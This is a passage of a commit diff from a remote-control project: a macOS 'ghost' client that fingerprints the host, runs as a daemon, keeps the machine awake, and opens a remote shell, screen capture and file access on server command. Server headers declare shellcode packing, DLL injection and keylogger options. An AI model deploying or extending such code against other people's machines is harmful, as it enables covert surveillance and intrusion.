info.AddReserved("");
// 12. Public IP
std::string pubIP = getPublicIP();
info.AddReserved(pubIP.c_str());
// 13. Version
info.AddReserved("1.0.0");
// 14. Current username
std::string username = getUsername();
info.AddReserved(username.c_str());
// 15. Is running as root
info.AddReserved(getuid() == 0 ? 1 : 0);
// 16. Screen resolution (format: count:widthxheight)
std::string resolution = getScreenResolution();
info.AddReserved(resolution.c_str());
// 17. Client ID
// V2 算法IOPlatformUUID + 归一化路径
// - 同机同程序路径永远同 ID不依赖 IP/hostname/os/CPU 漂移)
// - IOPlatformUUID 主板级,重装系统通常不变;多机各不相同
// - 读取失败时退化到老算法pubIP|hostname|os|cpu|path保兼容
std::string machineId = getMachineId();
if (!machineId.empty()) {
std::string normPath = normalizeExePathLower(exePath);
std::string idInput = machineId + "|" + normPath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
NSLog(@"ClientID(v2): %llu (machineId=%s, path=%s)",
g_myClientID, machineId.c_str(), normPath.c_str());
} else {
// 老算法兜底
char cpuStr[32];
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
hostname + "|" +
osVer + "|" +
cpuStr + "|" +
exePath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
NSLog(@"ClientID(v1 fallback): %llu (IOPlatformUUID 读取失败)", g_myClientID);
}
info.AddReserved(std::to_string(g_myClientID).c_str());
// 服务端签名输入:与服务端 AddList 处签名格式一致startTime + "|" + clientID
ClientAuth::g_loginMsg = std::string(info.szStartTime) + "|" + std::to_string(g_myClientID);
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
}
// ============== Signal Handling ==============
static void signalHandler(int sig)
{
NSLog(@"Received signal %d, shutting down...", sig);
g_running = false;
g_bExit = S_CLIENT_EXIT; // 通知所有工作线程退出
}
static void setupSignals()
{
signal(SIGTERM, signalHandler);
signal(SIGINT, signalHandler);
signal(SIGHUP, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
}
// 经典 Unix 双 fork 守护进程
static void daemonize()
{
pid_t pid = fork();
if (pid < 0) exit(1);
if (pid > 0) exit(0); // 父进程退出
setsid(); // 新会话,脱离终端
pid = fork(); // 第二次 fork防止重新获取控制终端
if (pid < 0) exit(1);
if (pid > 0) exit(0);
// 关闭标准文件描述符,重定向到 /dev/null
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
open("/dev/null", O_RDONLY); // fd 0 = stdin
open("/dev/null", O_WRONLY); // fd 1 = stdout
open("/dev/null", O_WRONLY); // fd 2 = stderr
}
// ============== Main Entry Point ==============
// RttEstimator + g_rttEstimator + g_heartbeatInterval 已抽到 common/rtt_estimator.h
void* ShellworkingThread(void* /*param*/)
{
RunSubConnThread<PTYHandler>(
"ShellworkingThread",
[](IOCPClient* c) { return std::unique_ptr<PTYHandler>(new PTYHandler(c)); },
[](IOCPClient* c, PTYHandler*) {
BYTE bToken = TOKEN_TERMINAL_START;
c->Send2Server((char*)&bToken, 1);
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", c);
});
return NULL;
}
void* ScreenworkingThread(void* /*param*/)
{
RunSubConnThread<ScreenHandler>(
"ScreenworkingThread",
[](IOCPClient* c) -> std::unique_ptr<ScreenHandler> {
// macOS ScreenHandler 需要先 init() 申请录屏权限/抓屏 stream失败 → 返 nullptr
// 让骨架直接 leave跳过 callback 安装
auto h = std::unique_ptr<ScreenHandler>(new ScreenHandler(c));
if (!h->init()) {
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
return nullptr;
}
return h;
},
[](IOCPClient* c, ScreenHandler* h) {
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
h->sendBitmapInfo();
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", c);
});
return NULL;
}
void* FileManagerworkingThread(void* /*param*/)
{
RunSubConnThread<FileManager>(
"FileManagerworkingThread",
[](IOCPClient* c) { return std::unique_ptr<FileManager>(new FileManager(c)); },
[](IOCPClient* c, FileManager*) {
Mprintf(">>> FileManagerworkingThread [%p] initialized\n", c);
});
return NULL;
}
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer == nullptr || ulLength == 0)
return TRUE;
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING校验本身。详见
// common/client_auth_state.h ClientAuth::IsCommandAllowed 的注释。
if (!ClientAuth::IsCommandAllowed(szBuffer[0])) {
return TRUE;
}
if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT;
g_running = false; // Stop main loop to prevent reconnection
} else if (szBuffer[0] == COMMAND_SHELL) {
std::thread(ShellworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
std::thread(ScreenworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SYSTEM) {
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
std::thread(FileManagerworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
} else if (szBuffer[0] == COMMAND_C2C_PREPARE) {
// C2C 准备接收通知
FileTransferV2::HandleC2CPrepare(szBuffer, ulLength, nullptr);
Mprintf("** [%p] C2C Prepare received ***\n", user);
} else if (szBuffer[0] == COMMAND_C2C_TEXT) {
// C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N]
if (ulLength >= 13) {
uint32_t textLen;
memcpy(&textLen, szBuffer + 9, 4);
if (ulLength >= 13 + textLen && textLen > 0) {
if (!ClipboardHandler::IsAvailable()) {
Mprintf("** [%p] C2C Text: clipboard unavailable ***\n", user);
} else {
std::string utf8Text((const char*)szBuffer + 13, textLen);
if (ClipboardHandler::SetText(utf8Text)) {
Mprintf("** [%p] C2C Text received: %u bytes ***\n", user, textLen);
}
}
}
}
} else if (szBuffer[0] == COMMAND_SEND_FILE_V2 || szBuffer[0] == COMMAND_FILE_COMPLETE_V2) {
// V2 文件接收
int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID);
if (result != 0) {
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
}
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
uint64_t now = GetUnixMs();
double rtt_ms = (double)(now - ack->Time);
g_rttEstimator.update_from_sample(rtt_ms);
// Log at most once per minute
static uint64_t lastLogTime = 0;
if (now - lastLogTime >= 60000) {
lastLogTime = now;
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
user, rtt_ms, g_rttEstimator.srtt * 1000);
}
}
} else if (szBuffer[0] == CMD_MASTERSETTING) {
MasterSettings settings;
if (!ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
return TRUE; // 包不全或签名失败:让 30s 超时兜底重连
}
if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval;
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
} else if (szBuffer[0] == COMMAND_NEXT) {
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
} else if (szBuffer[0] == CMD_SET_GROUP) {
// Extract group name from message (starts at byte 1)
std::string groupName;
if (ulLength > 1) {
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
// Remove trailing nulls
size_t pos = groupName.find('\0');
if (pos != std::string::npos) {
groupName = groupName.substr(0, pos);
}
}
// Save to config file
saveGroupName(groupName);
// Update global settings
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
// 标记需要重发登录信息(让服务端更新分组显示)
g_needResendLogin.store(true);
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
} else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
}
return TRUE;
}
// 用法: ./ghost [-d]
// -d 后台守护进程模式
int main(int argc, const char* argv[])
{
// 解析 -d 参数
bool daemon_mode = (argc > 1 && strcmp(argv[1], "-d") == 0);
// 守护进程模式:在进入 autoreleasepool 之前 fork
if (daemon_mode) {
daemonize();
}
@autoreleasepool {
NSLog(@"=== macOS Ghost Client%s ===", daemon_mode ? " (daemon)" : "");
// ============== Power Management: Keep System Awake ==============
// 1. Disable App Nap - prevent macOS from suspending this process
id<NSObject> powerActivity = [[NSProcessInfo processInfo]
beginActivityWithOptions:(NSActivityUserInitiated | NSActivityIdleSystemSleepDisabled)
reason:@"Remote control client must maintain persistent connection"];
NSLog(@"App Nap disabled, activity token acquired");
// 2. Prevent system idle sleep using IOKit power assertion
IOPMAssertionID sleepAssertionID = 0;
IOReturn result = IOPMAssertionCreateWithName(
kIOPMAssertionTypeNoIdleSleep,
kIOPMAssertionLevelOn,
CFSTR("SimpleRemoter macOS client - maintaining remote connection"),
&sleepAssertionID
);
if (result == kIOReturnSuccess) {
NSLog(@"Power assertion created: system idle sleep disabled (ID: %u)", sleepAssertionID);
} else {
NSLog(@"Warning: Failed to create power assertion (error: 0x%x)", result);
}
// 3. Display sleep: managed by ScreenHandler - only prevents display sleep
// when remote desktop is actively connected (saves power when idle)
// Setup signal handlers
setupSignals();
// Load configuration file (~/.config/ghost/config.conf)
loadConfig();
NSLog(@"Config loaded from %s", g_configPath.c_str());
// Check permissions
NSLog(@"Checking permissions...");
bool hasScreenCapture = Permissions::checkScreenCapture();
if (hasScreenCapture) {
NSLog(@"Screen capture permission: OK");
} else {
NSLog(@"Screen capture permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
// Request permission (triggers system dialog on first run)
Permissions::requestScreenCapture();
// Only open settings if this appears to be a re-run without permission
// Check again after request (dialog may have been shown)
if (!Permissions::checkScreenCapture()) {
Permissions::openScreenCaptureSettings();
}
}
bool hasAccessibility = Permissions::checkAccessibility();
if (hasAccessibility) {
NSLog(@"Accessibility permission: OK");
} else {
NSLog(@"Accessibility permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
Permissions::requestAccessibility();
}
// FDA check is unreliable (no official API), just log a warning
if (!Permissions::checkFullDiskAccess()) {
NSLog(@"Full Disk Access: not detected (may be false negative).");
NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
// Don't auto-open settings since detection is unreliable
} else {
NSLog(@"Full Disk Access: OK");
}
// Create client
auto ClientObject = std::make_unique<IOCPClient>(g_bExit, false);
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
// Main event loop
NSLog(@"Starting main loop...");
LOGIN_INFOR logInfo;
fillLoginInfo(logInfo);
while (g_running) {
clock_t c = clock();
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
Sleep(5000);
continue;
}
// 进入新连接,重置服务端身份校验状态
ClientAuth::OnNewConnection();
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
// 检查是否需要重发登录信息(分组变更后)
if (g_needResendLogin.exchange(false)) {
fillLoginInfo(logInfo);
ClientObject->SendLoginInfo(logInfo);
Mprintf(">> Resent login info after group change\n");
}
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) {
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
Sleep(1000);
}
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
// 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连,
// 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。
if (ClientAuth::IsTimedOut()) {
ClientObject->Disconnect();
break;
}
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
std::string activity = getActiveApp();
Heartbeat hb;
hb.Time = GetUnixMs();
hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒
strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &hb, sizeof(Heartbeat));
ClientObject->Send2Server((char*)buf, sizeof(buf));
}
}
NSLog(@"Shutting down...");
// Release power assertions
if (sleepAssertionID) {
IOPMAssertionRelease(sleepAssertionID);
NSLog(@"Released sleep assertion");
}
// Display assertion is managed by ScreenHandler (released in stop())
// powerActivity is automatically released when exiting @autoreleasepool
(void)powerActivity; // Suppress unused variable warning
}
return 0;
}

32
macos/uninstall.sh Normal file
View File

@@ -0,0 +1,32 @@
#!/bin/bash
# macOS Ghost Client 卸载脚本
APP_DIR="/Applications/GhostClient.app"
echo "=== GhostClient 卸载程序 ==="
echo ""
# 1. 停止进程
echo "[1/4] 停止进程..."
pkill -9 -f "$APP_DIR" 2>/dev/null || true
# 2. 删除文件
echo "[2/4] 删除文件..."
sudo rm -rf "$APP_DIR"
rm -rf ~/.config/ghost 2>/dev/null || true
rm -f /tmp/ghost.log 2>/dev/null || true
# 3. 移除登录项
echo "[3/4] 移除登录项..."
osascript -e 'tell application "System Events" to delete login item "GhostClient"' 2>/dev/null || true
# 4. 重置系统权限
echo "[4/4] 重置系统权限..."
tccutil reset ScreenCapture 2>/dev/null || true
tccutil reset Accessibility 2>/dev/null || true
echo ""
echo "========================================"
echo " 卸载完成"
echo "========================================"
echo ""

View File

@@ -526,14 +526,13 @@ BOOL CMy2015RemoteApp::InitInstance()
SetChineseThreadLocale();
// 加载语言包(必须在显示任何文本之前)
// 内嵌资源支持 en_US 和 zh_TW无需外部文件
auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
langDir = langDir.empty() ? "./lang" : langDir;
if (PathFileExists(langDir.c_str())) {
g_Lang.Init(langDir.c_str());
g_Lang.Load(lang.c_str());
Mprintf("语言包目录已经指定[%s], 语言数量: %d\n", langDir.c_str(), g_Lang.GetLanguageCount());
}
g_Lang.Init(langDir.c_str()); // 初始化目录(用于磁盘补丁文件)
g_Lang.Load(lang.c_str()); // 加载语言(优先内嵌资源,再覆盖磁盘文件)
Mprintf("语言: %s, 目录: %s\n", lang.c_str(), langDir.c_str());
// 创建并显示启动画面
CSplashDlg* pSplash = new CSplashDlg();

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -35,6 +35,9 @@ typedef struct DllInfo {
{
SAFE_DELETE(Data);
}
DllExecuteInfo* GetInfo() {
return (DllExecuteInfo*)(Data->Buf() + 1);
}
} DllInfo;
typedef struct FileTransformCmd {
@@ -93,6 +96,14 @@ extern CMy2015RemoteDlg* g_2015RemoteDlg;
// 注意m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
bool SupportsFileTransferV2(context* ctx);
// 获取客户端协议字符串编码 (CP_UTF8 或 936)。
// 适用于任意 context
// - 主连接:直接读自身的 CAPABILITIES
// - 子连接KeyBoardDlg / SystemDlg / FileManagerDlg 等CAPABILITIES 为空,
// 通过 peer IP 查 m_HostList 中的主连接获取能力位
// 找不到主连接或老客户端:默认 CP936覆盖 95% 简中/英语 ASCII 老客户端)。
UINT GetClientEncoding(context* ctx);
// 服务端待续传的传输信息
struct PendingTransferV2 {
uint64_t clientID;
@@ -212,13 +223,17 @@ public:
MasterSettings m_settings;
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
BOOL AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
BOOL AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
int AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength, contextModifier cb = NULL, void* user=NULL);
VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength);
// 显示用户上线信息
CWnd* m_pFloatingTip = nullptr;
// 屏幕预览m_pFloatingTip 实际是 CPreviewTipWnd 时这里有同一指针的有类型副本,
// 用于在收到 JPEG 后调用 SetImageFromJpegDeletePopupWindow 释放时一并置空。
class CPreviewTipWnd* m_pPreviewTip = nullptr;
WORD m_PreviewReqId = 0; // 当前期待的预览响应序号0 = 无待响应
// 记录 clientID心跳更新
std::set<uint64_t> m_DirtyClients;
// 待处理的上线/下线事件(批量更新减少闪烁)
@@ -234,6 +249,12 @@ public:
std::string m_v2KeyPath; // V2 密钥文件路径
void RebuildFilteredIndices(); // 重建过滤索引
context* GetContextByListIndex(int iItem); // 根据列表索引获取 context考虑分组过滤
// 启发式 ID 迁移:新客户端首次上线时,按 (ComputerName, ProgramPath) 在 m_ClientMap
// 里找老条目,若唯一匹配则把元数据(备注/位置/级别/授权)拷贝到 newId。
// 多于一个候选时保守跳过,写日志让运维手动处理,避免误聚合。
// 返回 true 表示有迁移发生(调用方需触发 dat 文件落盘)。
bool TryMigrateClientMetadata(uint64_t newId, const CString& pcName, const CString& exePath);
void LoadListData(const std::string& group);
void DeletePopupWindow(BOOL bForce = FALSE);
void CheckHeartbeat();
@@ -252,6 +273,7 @@ public:
CGridDialog * m_gridDlg = NULL;
std::vector<DllInfo*> m_DllList;
context* FindHostByIP(const std::string& ip);
uint64_t FindClientIDByIP(const std::string& ip); // 线程安全在锁内获取ID
void InjectTinyRunDll(const std::string& ip, int pid);
NOTIFYICONDATA m_Nid;
HANDLE m_hExit;
@@ -264,7 +286,7 @@ public:
bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu;
CBitmap m_bmOnline[51]; // 21 original + 4 context menu + 2 tray menu + 23 main menu
CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons
uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList;
@@ -272,6 +294,7 @@ public:
CDialogBase* GetRemoteWindow(CDialogBase* dlg);
void RemoveRemoteWindow(HWND wnd);
void CloseRemoteDesktopByClientID(uint64_t clientID);
void CloseWebRemoteDesktopByClientID(uint64_t clientID); // Only close Web session dialog
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
void UpdateActiveRemoteSession(CDialogBase* sess);
CDialogBase* GetActiveRemoteSession();
@@ -339,7 +362,13 @@ public:
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnExitSizeMove();
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调A 版,备用)
afx_msg void OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调W 版,启用 LVM_SETUNICODEFORMAT 后实际触发的)
// "活动窗口"列的宽字符旁路表clientID -> Unicode 标题。
// 协议字段 hb.ActiveWnd 已约定为 UTF-8老客户端 GBK 回退),由服务端解码后存入。
// 由 m_cs 保护。
std::map<uint64_t, std::wstring> m_ActiveWndW;
afx_msg void OnOnlineMessage();
afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate();
@@ -409,6 +438,12 @@ public:
afx_msg void OnWhatIsThis();
afx_msg void OnOnlineAuthorize();
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
// 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数4K/超宽屏在 LAN 档自适应放大
void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
// 发起预览请求reqId 应与 m_PreviewReqId 同步
void SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality);
// 收到 TOKEN_SCREEN_PREVIEW_RSP在主线程处理
afx_msg LRESULT OnPreviewResponse(WPARAM wParam, LPARAM lParam);
afx_msg void OnOnlineUnauthorize();
afx_msg void OnToolRequestAuth();
afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
@@ -449,6 +484,9 @@ public:
afx_msg void OnShellcodeAesBin();
afx_msg void OnShellcodeTestAesBin();
afx_msg void OnToolReloadPlugins();
afx_msg void OnToolPluginSettings();
afx_msg void OnTriggerSettings();
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger();
afx_msg void OnOnlineInjNotepad();
@@ -457,7 +495,7 @@ public:
afx_msg void OnParamPrivacyWallpaper();
afx_msg void OnParamFileV2();
afx_msg void OnParamRunAsUser();
void ProxyClientTcpPort(bool isStandard);
void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
afx_msg void OnProxyPort();
afx_msg void OnHookWin();
afx_msg void OnRunasService();
@@ -481,4 +519,5 @@ public:
afx_msg void OnMasterTrail();
afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl();
afx_msg void OnProxyPortAutorun();
};

View File

@@ -104,6 +104,7 @@
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -138,6 +139,7 @@
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -172,6 +174,7 @@
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -208,6 +211,7 @@
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -231,6 +235,7 @@
</ItemDefinitionGroup>
<ItemGroup>
<None Include="..\..\linux\ghost" />
<None Include="..\..\macos\ghost" />
<None Include="..\..\Release\ghost.exe" />
<None Include="..\..\Release\SCLoader.exe" />
<None Include="..\..\Release\ServerDll.dll" />
@@ -241,6 +246,8 @@
<None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" />
<None Include="..\..\x64\Release\TinyRun.dll" />
<None Include="lang\en_US.ini" />
<None Include="lang\zh_TW.ini" />
<None Include="res\1.cur" />
<None Include="res\2.cur" />
<None Include="res\2015Remote.ico" />
@@ -250,6 +257,7 @@
<None Include="res\3rd\rcedit.exe" />
<None Include="res\3rd\SCLoader_32.exe" />
<None Include="res\3rd\SCLoader_64.exe" />
<None Include="res\3rd\TerminalModule_x64.dll" />
<None Include="res\3rd\upx.exe" />
<None Include="res\4.cur" />
<None Include="res\arrow.cur" />
@@ -337,6 +345,9 @@
<ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FeatureLimitsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="PreviewTipWnd.h" />
<ClInclude Include="TriggerSettingsDlg.h" />
<ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" />
<ClInclude Include="proxy\ProxyConnectServer.h" />
@@ -385,6 +396,9 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="PluginSettingsDlg.cpp" />
<ClCompile Include="PreviewTipWnd.cpp" />
<ClCompile Include="TriggerSettingsDlg.cpp" />
<ClCompile Include="WebService.cpp" />
<ClCompile Include="..\..\client\MemoryModule.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
@@ -537,6 +551,7 @@
<Image Include="res\Bitmap\Notify.bmp" />
<Image Include="res\Bitmap\PEEdit.bmp" />
<Image Include="res\Bitmap\Plugin.bmp" />
<Image Include="res\Bitmap\PluginConfig.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\proxy.bmp" />
@@ -550,10 +565,12 @@
<Image Include="res\Bitmap\Shutdown.bmp" />
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
<Image Include="res\Bitmap\Trial.bmp" />
<Image Include="res\Bitmap\Trigger.bmp" />
<Image Include="res\Bitmap\unauthorize.bmp" />
<Image Include="res\Bitmap\update.bmp" />
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
<Image Include="res\Bitmap\Wallet.bmp" />
<Image Include="res\Bitmap\WebDesktop.bmp" />
<Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" />
<Image Include="res\chat.ico" />

View File

@@ -80,6 +80,9 @@
<ClCompile Include="FeatureLimitsDlg.cpp" />
<ClCompile Include="WebService.cpp" />
<ClCompile Include="msvc_compat.c" />
<ClCompile Include="PluginSettingsDlg.cpp" />
<ClCompile Include="PreviewTipWnd.cpp" />
<ClCompile Include="TriggerSettingsDlg.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
@@ -182,6 +185,9 @@
<ClInclude Include="WebServiceAuth.h" />
<ClInclude Include="WebPage.h" />
<ClInclude Include="SimpleWebSocket.h" />
<ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="PreviewTipWnd.h" />
<ClInclude Include="TriggerSettingsDlg.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />
@@ -264,6 +270,9 @@
<Image Include="res\Bitmap\Trial.bmp" />
<Image Include="res\Bitmap\RequestAuth.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\Bitmap\Trigger.bmp" />
<Image Include="res\Bitmap\WebDesktop.bmp" />
<Image Include="res\Bitmap\PluginConfig.bmp" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\Release\ghost.exe" />
@@ -316,6 +325,10 @@
<None Include="res\3rd\rcedit.exe" />
<None Include="res\3rd\SCLoader_32.exe" />
<None Include="res\3rd\SCLoader_64.exe" />
<None Include="lang\en_US.ini" />
<None Include="lang\zh_TW.ini" />
<None Include="res\3rd\TerminalModule_x64.dll" />
<None Include="..\..\macos\ghost" />
</ItemGroup>
<ItemGroup>
<Text Include="..\..\ReadMe.md" />

View File

@@ -10,6 +10,8 @@
#include "InputDlg.h"
#include <bcrypt.h>
#include <wincrypt.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
#include "Resource.h"
extern "C" {
#include "client/reg_startup.h"
@@ -26,6 +28,7 @@ enum Index {
IndexGhostMsc,
IndexTestRunMsc,
IndexLinuxGhost,
IndexMacGhost,
OTHER_ITEM
};
@@ -49,11 +52,66 @@ std::string GetPwdHash();
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
LPBYTE ReadResource(int resourceId, DWORD &dwSize)
// 获取程序目录下 res 子目录的路径
static CString GetResDirectoryPath()
{
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL, szPath, MAX_PATH);
PathRemoveFileSpec(szPath);
PathAppend(szPath, _T("res"));
return CString(szPath);
}
// 从外部文件读取资源(优先级高于内嵌资源)
static LPBYTE ReadResourceFromFile(const char* resName, DWORD &dwSize)
{
if (!resName || !resName[0]) {
return NULL;
}
CString resDir = GetResDirectoryPath();
CString filePath;
filePath.Format(_T("%s\\%hs"), (LPCTSTR)resDir, resName);
// 检查文件是否存在
if (GetFileAttributes(filePath) == INVALID_FILE_ATTRIBUTES) {
return NULL;
}
// 打开文件
HANDLE hFile = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
